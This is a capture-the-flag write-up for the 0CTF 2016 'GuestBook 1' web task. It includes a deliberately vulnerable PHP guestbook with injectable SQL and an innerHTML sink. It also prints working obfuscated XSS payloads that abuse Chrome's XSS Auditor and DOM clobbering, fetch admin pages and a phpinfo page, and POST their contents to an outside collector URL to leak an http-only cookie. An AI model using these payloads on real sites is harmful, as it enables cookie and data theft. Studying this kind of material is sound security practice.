Below you can find my solution for web GuestBook 1 task from 0CTF 2016.
For better understanding I post my task implementation.
I don't know if it's 100% correct but should give idea how task internals works.
File: message.php
<?php
/*
CREATE TABLE IF NOT EXISTS `message` (
`secret` text,
`username` text,
`message` text
) ENGINE=InnoDB;
*/
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "ctf";
$conn = mysql_connect($servername, $username, $password);
if (!$conn) {
die("ERROR");
}
mysql_select_db($dbname);
function filter($string) {
return str_replace(array('<', '>', "'", '"'), "", $string);
}
function is_secret_exist($secret) {
$find_secret = 'SELECT COUNT(*) FROM message WHERE secret = "'.$secret.'"';
$result = mysql_query($find_secret);
$row = mysql_fetch_row($result);
if ($row[0] > 0) {
die('maybe another secret!');
}
}
function is_secret_created($secret) {
$find_secret = 'SELECT COUNT(*) FROM message WHERE secret = "'.$secret.'"';
$result = mysql_query($find_secret);
$row = mysql_fetch_row($result);
if ($row[0] == 0) {
die('maybe another secret!');
}
}
if (isset($_POST['action'])) {
$secret = base64_encode($_POST['secret']);
$username = filter($_POST['username']);
$message = filter($_POST['message']);
is_secret_exist($secret);
$sql = 'INSERT INTO message (`secret`, `username`, `message`) VALUES("'.$secret.'", "'.$username.'", "'.$message.'")';
mysql_query($sql);
is_secret_created($secret);
header('Location: show.php?secret='.urlencode($_POST['secret']));
die();
}
?>
<form action="message.php" method="POST">
<div class="field">
<label>Secret</label>
<input type="text" name="secret">
</div>
<div class="field">
<label>Username</label>
<input type="text" name="username">
</div>
<div class="field">
<label>Message</label>
<textarea name="message"></textarea>
</div>
<div class="field">
<input type="submit" name="action" value="submit">
</div>
</div>
</form>
File: show.php
<?php
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "ctf";
$conn = mysql_connect($servername, $username, $password);
if (!$conn) {
die("ERROR");
}
mysql_select_db($dbname);
function filter($string) {
return str_replace(array('<', '>', "'", '"'), "", $string);
}
$secret = (isset($_GET['secret']) ? base64_encode((string) $_GET['secret']) : '');
$find_secret = 'SELECT * FROM message WHERE secret = "'.$secret.'"';
$result = mysql_query($find_secret);
$row = mysql_fetch_assoc($result);
if (count($row) != 3) {
die('no such secret!');
}
?>
<html>
<body>
<script>var debug=false;</script>
<div id="<?php echo filter($row['username']); ?>">
<h2><?php echo filter($row['username']); ?></h2>
</div>
<div id="text"></div>
<script>
data = "<?php echo filter($row['message']); ?>"
t = document.getElementById("text")
if(debug){
t.innerHTML=data
}else{
t.innerText=data
}
</script>
</body>
</html>
We know that: admin use chrome and use your plaintext secret to find your post
.
Also from task description: the flag is in the http-only cookie
.
So our task is to create secret message with XSS so we can steal flag from admin.
It's impossible to bypass filter()
function and create valid HTML tag (like script
).
But innerHTML
can be used to execute JavaScript (see security considerations).
So:
<div id="text"></div>
<script>
data = "<img src=x onerror=alert(1)>"
t = document.getElementById("text")
t.innerHTML = data
</script>
will give us XSS.
But right now we cannot store <
or >
inside data
variable because of filter()
function.
Hopefully we can use Hexadecimal and Unicode escape sequences.
<div id="text"></div>
<script>
data = "\x3cimg src=x onerror=alert(1)\x3e"
t = document.getElementById("text")
t.innerHTML = data
</script>
So we know how bypass filter()
function but still we need to set debug=true
.
And this is tricky part.
We know that admin uses Chrome
. And this browser has XSS Auditor.
Before rendering the response in the Document Object Model presented to the user, XSS auditor searches for instances of (malicious) parameters sent in the original request. If a detection is positive, the auditor is triggered and the response is "rewritten" to a non-executable state in the browser DOM.
So if we create secret
which looke like %random_characters%<script>var debug=false;</script>
Chrome will think that debug=false
is controlled by attacker and will ignore this initialization. Now we need to initialize this variable.
For this we will create <div id="debug">
using username
variable. How this works? In Chrome HTML element with ID will be automatically available in Javascript.
We have XSS, it’s time to build payload and get information from admin. Bacause we cannot have "
and '
characters, String.fromCharCode
obfuscation is used.
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://requestb.in/xxxx",false);xmlhttp.send();'
out = []
for s in payload:
out.append(str(ord(s)))
print "\\\\x3cimg src=a onerror=\\\\u0022eval(String.fromCharCode("+", ".join(out)+"))\\\\u0022\\\\x3e"
So finally our payload looks like:
Secret:
random_characters_must_be_unique<script>var debug=false;</script>
Username:
debug
Message:
\\x3cimg src=a onerror=\\u0022eval(String.fromCharCode(120, 109, 108, 104, 116, 116, 112, 61, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 111, 112, 101, 110, 40, 34, 71, 69, 84, 34, 44, 34, 104, 116, 116, 112, 58, 47, 47, 114, 101, 113, 117, 101, 115, 116, 98, 46, 105, 110, 47, 120, 120, 120, 120, 34, 44, 102, 97, 108, 115, 101, 41, 59, 120, 109, 108, 104, 116, 116, 112, 46, 115, 101, 110, 100, 40, 41, 59))\\u0022\\x3e
And indeed we see admin request:
X-Request-Id: 843a2d5c-8a52-41b9-ab92-192724dfca67
Accept: */*
Total-Route-Time: 0
Accept-Language: en-US,*
User-Agent: Mozilla/5.0 0CTF by md5_salt
Referer: http://127.0.0.1:8888/admin/show.php?secret=our_secret
Via: 1.1 vegur
Connect-Time: 1
Accept-Encoding: gzip
Host: requestb.in
Origin: http://127.0.0.1:8888
Connection: close
Lets try visit admin/show.php
. Hmm we got: you are not admin
. Ok se maybe admin must visit this?
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/show.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://requestb.in/xxxx",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv="+escape(r));'
Now we see:
<!-- change log: use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie always check /admin/server_info.php for load balancing to do: files and folders permission control, disallow other users write file into uploads folder -->
202.120.7.201:8888/admin/server_info.php
exists and display phpinfo()
.
Why this is so important? Because cookies are http only
. We cannot leak them using JavaScript (for example document.cookie
).
But they are sent each time in HTTP request, if host match. And by default phpinfo()
display all received variables (including cookies).
payload = 'xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://requestb.in/xxxx",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("vv="+escape(r));'
Finally we got flag:
<td class="e">_COOKIE["flag"]</td><td class="v">0ctf{httponly_sometimes_not_so_secure}</td></tr> <tr><td class="e">_COOKIE["admin"]</td><td class="v">salt_is_admin</td></tr>